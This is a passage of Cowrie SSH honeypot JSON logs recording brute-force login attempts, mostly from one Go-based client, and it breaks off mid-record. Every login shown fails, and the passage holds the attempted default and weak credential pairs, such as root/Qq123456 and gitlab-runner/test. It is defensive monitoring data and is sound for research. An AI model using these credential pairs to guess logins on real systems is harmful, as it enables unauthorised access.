{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:49.944674Z","src_ip":"192.109.200.78","session":"4ebe57e1ba8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:50.025782Z","src_ip":"192.109.200.78","session":"4ebe57e1ba8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:50.271582Z","src_ip":"192.109.200.78","session":"4ebe57e1ba8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:50.474512Z","src_ip":"51.250.105.222","session":"5d7ae9b21c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:51.462281Z","src_ip":"192.109.200.78","session":"4ebe57e1ba8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49336,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc7c46996db","protocol":"ssh","message":"New connection: 192.109.200.78:49336 (10.17.0.5:22) [session: 5bc7c46996db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:53.367318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:53.371320Z","src_ip":"192.109.200.78","session":"5bc7c46996db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:53.452001Z","src_ip":"192.109.200.78","session":"5bc7c46996db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:53.695765Z","src_ip":"192.109.200.78","session":"5bc7c46996db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:54.780378Z","src_ip":"192.109.200.78","session":"5bc7c46996db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35604,"dst_ip":"10.17.0.5","dst_port":22,"session":"050ffd93ff52","protocol":"ssh","message":"New connection: 103.27.238.120:35604 (10.17.0.5:22) [session: 050ffd93ff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:56.175977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:56.180025Z","src_ip":"103.27.238.120","session":"050ffd93ff52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:56.457601Z","src_ip":"103.27.238.120","session":"050ffd93ff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49346,"dst_ip":"10.17.0.5","dst_port":22,"session":"4091768594ee","protocol":"ssh","message":"New connection: 192.109.200.78:49346 (10.17.0.5:22) [session: 4091768594ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:57.115322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:57.119377Z","src_ip":"192.109.200.78","session":"4091768594ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:57.199974Z","src_ip":"192.109.200.78","session":"4091768594ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"litvinova","message":"login attempt [root/litvinova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:57.282211Z","src_ip":"103.27.238.120","session":"050ffd93ff52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:57.452498Z","src_ip":"192.109.200.78","session":"4091768594ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:58.538033Z","src_ip":"192.109.200.78","session":"4091768594ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:58.559353Z","src_ip":"103.27.238.120","session":"050ffd93ff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49348,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ddb3509b57","protocol":"ssh","message":"New connection: 192.109.200.78:49348 (10.17.0.5:22) [session: 94ddb3509b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:00.494402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:00.507135Z","src_ip":"192.109.200.78","session":"94ddb3509b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:00.594394Z","src_ip":"192.109.200.78","session":"94ddb3509b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:00.843199Z","src_ip":"192.109.200.78","session":"94ddb3509b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:01.927814Z","src_ip":"192.109.200.78","session":"94ddb3509b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53312,"dst_ip":"10.17.0.5","dst_port":22,"session":"336135db11bb","protocol":"ssh","message":"New connection: 192.109.200.78:53312 (10.17.0.5:22) [session: 336135db11bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:03.901540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:03.905607Z","src_ip":"192.109.200.78","session":"336135db11bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:03.988002Z","src_ip":"192.109.200.78","session":"336135db11bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:04.234523Z","src_ip":"192.109.200.78","session":"336135db11bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:05.318517Z","src_ip":"192.109.200.78","session":"336135db11bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53324,"dst_ip":"10.17.0.5","dst_port":22,"session":"7445e2f0716a","protocol":"ssh","message":"New connection: 192.109.200.78:53324 (10.17.0.5:22) [session: 7445e2f0716a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:07.334014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:07.338131Z","src_ip":"192.109.200.78","session":"7445e2f0716a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:07.578156Z","src_ip":"192.109.200.78","session":"7445e2f0716a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:07.965384Z","src_ip":"192.109.200.78","session":"7445e2f0716a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:09.049515Z","src_ip":"192.109.200.78","session":"7445e2f0716a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53338,"dst_ip":"10.17.0.5","dst_port":22,"session":"692b7de99cb8","protocol":"ssh","message":"New connection: 192.109.200.78:53338 (10.17.0.5:22) [session: 692b7de99cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:10.934262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:10.938379Z","src_ip":"192.109.200.78","session":"692b7de99cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:11.019850Z","src_ip":"192.109.200.78","session":"692b7de99cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:11.266026Z","src_ip":"192.109.200.78","session":"692b7de99cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:12.350705Z","src_ip":"192.109.200.78","session":"692b7de99cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49664,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4668900dcd","protocol":"ssh","message":"New connection: 192.109.200.78:49664 (10.17.0.5:22) [session: 7d4668900dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:14.355012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:14.359066Z","src_ip":"192.109.200.78","session":"7d4668900dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ec